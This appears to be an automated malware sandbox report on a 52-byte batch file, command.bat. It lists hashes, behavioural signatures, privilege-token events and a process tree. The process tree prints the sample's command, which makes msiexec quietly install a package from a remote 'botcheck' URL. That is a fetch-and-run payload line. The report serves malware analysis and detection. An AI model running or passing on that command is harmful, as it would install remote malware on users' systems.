Analysis
- max time kernel
148s - max time network
144s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260911-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
29/09/2026, 13:59
Static task
static1
Behavioral task
behavioral1
Sample
command.bat
Resource
win10v2004-20260911-en
windows10-2004-x64
4 signatures
150 seconds
Behavioral task
behavioral2
Sample
command.bat
Resource
win11ltsc2024-20260911-en
windows11-ltsc_2024-x64
5 signatures
150 seconds
General
- Target command.bat
- Size 52B
- Sample260929-raqqpsts9p
- SHA256 8f6061c64c4bd2e6dfd3bdacd7f80a47476009784199a2959f7b85693964f01f
- MD5 6370297104f838269a366373b7c3edd0
- SHA1 bee8c6e275949171a5d041693f26ee831b51f120
- SHA512 a3773b0ebce0213beb3b22e7e43f9e09a35994f6adad8b4489672ede7fb918bcc1dc4aecc9e8cdcc12acb59aebfa9dae271970285f44aba363e5514f466b4a74
- TLSH T19790027220437490581151940148B24494125010AF0547408498B2681144479E64E8CC
- MD5 SHA1 SHA512 TLSH
Score
6/10
Malware Config
Signatures
- Badlisted process makes network request 4 IoCs
Network request originating from process or tool commonly abused by malware.
flow pid Process 5 4956 msiexec.exe 8 4956 msiexec.exe 9 4956 msiexec.exe 10 4956 msiexec.exe - Executes a command shell one-liner 1 TTPs 1 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 1828 cmd.exe - Suspicious use of AdjustPrivilegeToken 63 IoCs
description pid Process Token: SeShutdownPrivilege 5832 msiexec.exe Token: SeIncreaseQuotaPrivilege 5832 msiexec.exe Token: SeSecurityPrivilege 4956 msiexec.exe Token: SeCreateTokenPrivilege 5832 msiexec.exe Token: SeAssignPrimaryTokenPrivilege 5832 msiexec.exe Token: SeLockMemoryPrivilege 5832 msiexec.exe Token: SeIncreaseQuotaPrivilege 5832 msiexec.exe Token: SeMachineAccountPrivilege 5832 msiexec.exe Token: SeTcbPrivilege 5832 msiexec.exe Token: SeSecurityPrivilege 5832 msiexec.exe Token: SeTakeOwnershipPrivilege 5832 msiexec.exe Token: SeLoadDriverPrivilege 5832 msiexec.exe Token: SeSystemProfilePrivilege 5832 msiexec.exe Token: SeSystemtimePrivilege 5832 msiexec.exe Token: SeProfSingleProcessPrivilege 5832 msiexec.exe Token: SeIncBasePriorityPrivilege 5832 msiexec.exe Token: SeCreatePagefilePrivilege 5832 msiexec.exe Token: SeCreatePermanentPrivilege 5832 msiexec.exe Token: SeBackupPrivilege 5832 msiexec.exe Token: SeRestorePrivilege 5832 msiexec.exe Token: SeShutdownPrivilege 5832 msiexec.exe Token: SeDebugPrivilege 5832 msiexec.exe Token: SeAuditPrivilege 5832 msiexec.exe Token: SeSystemEnvironmentPrivilege 5832 msiexec.exe Token: SeChangeNotifyPrivilege 5832 msiexec.exe Token: SeRemoteShutdownPrivilege 5832 msiexec.exe Token: SeUndockPrivilege 5832 msiexec.exe Token: SeSyncAgentPrivilege 5832 msiexec.exe Token: SeEnableDelegationPrivilege 5832 msiexec.exe Token: SeManageVolumePrivilege 5832 msiexec.exe Token: SeImpersonatePrivilege 5832 msiexec.exe Token: SeCreateGlobalPrivilege 5832 msiexec.exe Token: SeShutdownPrivilege 5832 msiexec.exe Token: SeIncreaseQuotaPrivilege 5832 msiexec.exe Token: SeCreateTokenPrivilege 5832 msiexec.exe Token: SeAssignPrimaryTokenPrivilege 5832 msiexec.exe Token: SeLockMemoryPrivilege 5832 msiexec.exe Token: SeIncreaseQuotaPrivilege 5832 msiexec.exe Token: SeMachineAccountPrivilege 5832 msiexec.exe Token: SeTcbPrivilege 5832 msiexec.exe Token: SeSecurityPrivilege 5832 msiexec.exe Token: SeTakeOwnershipPrivilege 5832 msiexec.exe Token: SeLoadDriverPrivilege 5832 msiexec.exe Token: SeSystemProfilePrivilege 5832 msiexec.exe Token: SeSystemtimePrivilege 5832 msiexec.exe Token: SeProfSingleProcessPrivilege 5832 msiexec.exe Token: SeIncBasePriorityPrivilege 5832 msiexec.exe Token: SeCreatePagefilePrivilege 5832 msiexec.exe Token: SeCreatePermanentPrivilege 5832 msiexec.exe Token: SeBackupPrivilege 5832 msiexec.exe Token: SeRestorePrivilege 5832 msiexec.exe Token: SeShutdownPrivilege 5832 msiexec.exe Token: SeDebugPrivilege 5832 msiexec.exe Token: SeAuditPrivilege 5832 msiexec.exe Token: SeSystemEnvironmentPrivilege 5832 msiexec.exe Token: SeChangeNotifyPrivilege 5832 msiexec.exe Token: SeRemoteShutdownPrivilege 5832 msiexec.exe Token: SeUndockPrivilege 5832 msiexec.exe Token: SeSyncAgentPrivilege 5832 msiexec.exe Token: SeEnableDelegationPrivilege 5832 msiexec.exe Token: SeManageVolumePrivilege 5832 msiexec.exe Token: SeImpersonatePrivilege 5832 msiexec.exe Token: SeCreateGlobalPrivilege 5832 msiexec.exe - Suspicious use of SetWindowsHookEx 2 IoCs
pid Process 5832 msiexec.exe 4956 msiexec.exe - Suspicious use of WriteProcessMemory 1 IoCs
description pid Process procid_target PID 1828 wrote to memory of 5832 1828 cmd.exe 90
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\command.bat"1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1828 -
C:\Windows\system32\msiexec.exeMSieXeC /i https:\\dank-us.com/update\botcheck -QN2⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:5832
-
-
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
- Badlisted process makes network request
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:4956